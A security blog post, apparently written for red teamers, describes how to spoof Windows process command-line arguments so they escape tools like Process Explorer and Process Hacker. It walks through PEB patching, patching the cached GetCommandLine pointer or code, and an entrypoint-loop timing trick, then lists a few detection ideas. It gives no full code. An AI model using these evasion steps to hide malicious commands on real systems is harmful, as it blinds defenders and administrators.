On a bit of a tangent, even were ZwQueryVirtualMemory used, it is still possible to mess with the calltrace through stack manipulation (though this requires significantly more effort and has more constraints compared to the previous method). I’m not going to go into details into this right now, maybe I’ll share my PoC and further information in another post.
Of course, relying on information from the kernel alone and blindly isn’t a silver bullet to stop all the manipulations that can happen. Window’s handling of file renames as an example is notoriously problematic and causes significant visibility gaps for monitoring/security solutions. Regardless, the point is clear: trusting usermode data, even when sanitized somewhat, is a terrible terrible idea. Usermode data should only be used when no reliable alternatives are available – lest it be used to deceive the very defenders it is supposed to inform.
A well known trick that has been employed in malware for a very long time (this has been publicly discussed on HF since at least 2014: showthread.php?tid=4548593) is spoofing command line argument. More recently, this method got discovered by the wider infosec community and was incorporated into tools like Cobalt Strike. Implementations often go like this: you start a process as suspended with a fake command line argument, patch the PEB with the real argument, and then resume the process. However, this solution is not stealthy at all, as we will see below.
The problem with PEB patching
The method relies on patching the PEB of the process in order to spoof the environment variable prior to the process’s start. This works as the command line argument is just a buffer that is passed to the process and can be modified from usermode. However, this causes some problems for those trying to hide it: it is very easy to spot.
As the kernel does not store a copy of the command line argument anywhere, the only place for monitoring tools to get the command line argument is through reading the process’s PEB. Both Process Hacker and Process Explorer does this and shows the in-memory command line argument. Below is a simple example where I overwrite the first 5 characters with “fake!” and how it shows up in these tools.
Process Explorer
Process Hacker
Any competent sysadmin would open one of these tools and look at your spoofed powershell-or-whatnot command and recognize it for what it is.
Some work has been done by tampering with the UNICODE_STRING structure through manipulation of the length member (processes typically would ignore this internally when using GetCommandLineW/A APIs, however process explorers generally do not and follow the constraints of UNICODE_STRING). This however only allows us to hide a part of the command line parameter, and does not allow us to spoof the entire parameter. The entire string would also still be there in memory, and as it is virtually always NULL-terminated a tool could decide to ignore the length parameter and read until it reaches a NULL byte instead.
Command line internals
To look for alternatives, we must first understand how processes usually get access to the command line parameter, which is through the GetCommandLineW/A parameter. Probably for performance’s sake, the function does not actually access the PEB, instead it reads from a hardcoded pointer to an UNICODE_STRING/STRING.
This is initialized prior to the execution of the entrypoint of the process in BaseDllInitialize (or KernelBaseDllInitialize, as it’s now called on Windows 10) and points to the same information that was in the PEB at this stage.
As a result of this caching, modification of the PEB post-initialization does not affect most process’s attempts to read their own command line parameter, so we can’t just start a process unsuspended and then patch the PEB. However, this does introduce an interesting side effect: we now have two additional places where we can tamper with the command line parameter without it being visible to Process Hacker and similar tools.
Method 1: Patching BaseUnicode/AnsiCommandLine
As seen in the disassembly above, GetCommandLine simply dereferences and returns a hardcoded pointer. While this address is not exported, we can easily retrieve the relevant offset from the GetCommandLine API itself. Frome Windows XP to 10 (I have not validated this on prior Windows versions, but feel free to), the functions has not changed and is as follow:
mov eax, dword ptr ds:[offset_to_buffer]
ret
And likewise on x64 environments,
mov rax, qword ptr ds:[offset_to_buffer]
ret
What this effectively means is that we can get the address of GetCommandLine, parse it and extract the pointer (the pattern is A1 34570475 C3 for 32 bit processes), patch the pointer there and voila, any subsequent calls to GetCommandLine will return whatever we want it to. An even neater thing is that everything up until the patching it does not require reading memory from a remote process, as ASLR does not randomize module base address across processes, and as long as you have the same bitness as your target process the address will be the same.
With this method, there are some nuances that needs to be addressed. The first is that from a certain Windows version the function no longer resides in kernel32 but instead in kernelbase. This however is easily addressed and takes no difficulty to deal with. The second is that this needs to be done after the process has started execution (as BaseDllInitialize would just overwrite the pointer otherwise, and kernel32 wouldn’t be loaded yet), this can be remedied by patching the entrypoint with EB FE (a jump to self, an useful instruction to remember for unpacking certain malware), fixing the pointers, suspending the thread, restoring the original bytes and then resuming the main thread. It is not really possible to avoid starting the process as suspended unfortunately due to this timing issue.
Method 2: Modifying GetCommandLine
Another place we can intercept is the pointer to BaseUnicodeCommandLine.Buffer itself (rather than BaseUnicodeCommandLine.Buffer). This requires some code patching and is likely easier to detect via hook scanners which compares with disk, however it is still stealthier than modifying the PEB or simply detouring the API with a jmp. The function always take the form of A1 xxxxxxxx C3 and we can patch it to point to a buffer that we control. This requires two levels of indirection, and we need to patch it with a pointer to a pointer to the command line buffer.
Method 3: Getting BaseDllInitialize to do the dirty work for us
Another option we have is as follow: first start the process suspended, patch the PEB with the to-be-hidden command line argument, patch the process entrypoint with EB FE, resume, wait, restore the original command line argument in PEB, suspend the main thread, restoring the original entrypoint and then resuming the thread. This would work as BaseInitializeDll will copy the hidden command line argument for us to BaseUnicodeCommandLine and BaseAnsiCommandLine and does not require us to interact with them directly. This would also hide the command line from Process Hacker and other similar tools as the patched command line parameter is only pointed to by the PEB for a brief moment, and they would have to somehow read at exactly the correct time to obtain this information.
Some final notes on this method
This solution is not going to work with processes that do not use the GetCommandLine API to retrieve it’s parameters. However, in practice I have not seen any tools or utilities which directly accesses the PEB to get this information about itself or use another method. If other methods exists to retrieve this information, it can probably be similarly addressed through some sort of tampering, and if that is not possible, simply hooking the API would normally suffice. Likewise, if the time ever comes when the API itself changes (which I doubt it will), one can simply switch to hooking to return a different command line parameter.
Some possible injection-less detection vectors would be through comparing the pointer in PEB with the pointer in BaseUnicodeCommandLine and checking the integrity of the GetCommandLine function. Alternatively, one could inject into the process and compare the output of the API with PEB. Either way, it is much more complicated to obtain the real command line parameter than it would be if we simply patched the PEB.
PoC
A PoC will be published when I have more time on my hand to clean up my experimental code base. However, the information in this post alone is more than enough for anyone looking to implement the trick to spoof command line arguments in a way that is not easily seen during a red team engagement.
